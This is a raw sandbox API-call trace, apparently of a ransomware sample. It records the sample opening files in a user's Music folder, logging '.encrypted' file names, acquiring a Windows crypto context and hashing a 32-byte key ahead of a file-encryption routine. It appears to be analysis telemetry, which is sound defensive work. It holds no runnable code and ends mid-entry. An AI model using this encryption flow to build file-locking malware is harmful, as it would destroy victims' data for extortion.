[0026.845] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.845] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.845] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.845] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.845] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.846] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.846] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.846] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.846] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.846] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.846] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.846] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.846] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.846] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0026.846] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=6532) returned 1 [0026.846] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.846] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0026.847] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0026.847] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1984, lpOverlapped=0x0) returned 1 [0026.847] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0026.847] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.847] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=6532) returned 1 [0026.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\hfCmWOsWhZ-hDT.encrypted.m4a\r\n", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0026.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\hfCmWOsWhZ-hDT.encrypted.m4a\r\n", cchWideChar=58, lpMultiByteStr=0xe8f4051bd0, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\hfCmWOsWhZ-hDT.encrypted.m4a\r\n", lpUsedDefaultChar=0x0) returned 58 [0026.847] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4051ae0*, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051ae0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x39, lpOverlapped=0x0) returned 1 [0026.847] CloseHandle (hObject=0x188) returned 1 [0026.848] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.848] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.849] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.849] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.849] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.849] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.849] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.850] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.851] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178940, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0026.851] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0026.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178800, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0026.851] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0026.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\nK2OfiH.m4a", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0026.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\nK2OfiH.m4a", cchWideChar=39, lpMultiByteStr=0xe8f41885d0, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\nK2OfiH.m4a", lpUsedDefaultChar=0x0) returned 39 [0026.851] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\nK2OfiH.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\nk2ofih.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0026.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=39, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 39 [0026.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=39, lpWideCharStr=0xe8f40695f0, cchWideChar=39 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\nK2OfiH.m4a") returned 39 [0026.852] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.852] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.852] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.853] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.853] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41783a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0026.853] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0026.853] CloseHandle (hObject=0x188) returned 1 [0026.853] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.853] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.853] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.853] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.854] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.854] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.854] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.854] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.854] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.854] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.854] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.854] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.854] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.854] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0026.854] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.854] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.854] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.854] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.854] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.854] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.854] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.854] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.854] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.854] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.854] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.854] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.854] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.854] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.854] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.855] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0026.855] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.855] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.855] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.855] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.855] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.855] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0026.855] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.855] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0026.855] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.855] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.855] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0026.855] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.855] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.855] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.855] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.855] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.855] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.855] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.855] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.855] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.855] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.855] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.856] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.856] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0026.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.856] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.856] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.856] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.856] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.856] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.856] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.856] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.856] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.856] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.856] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.856] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.856] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.856] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.856] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.856] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.856] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0026.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.857] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0026.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.857] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.857] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.857] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.857] CryptHashData (hHash=0xe8f40624f0, pbData=0xe8f418b8a0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0026.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.857] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.857] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.858] 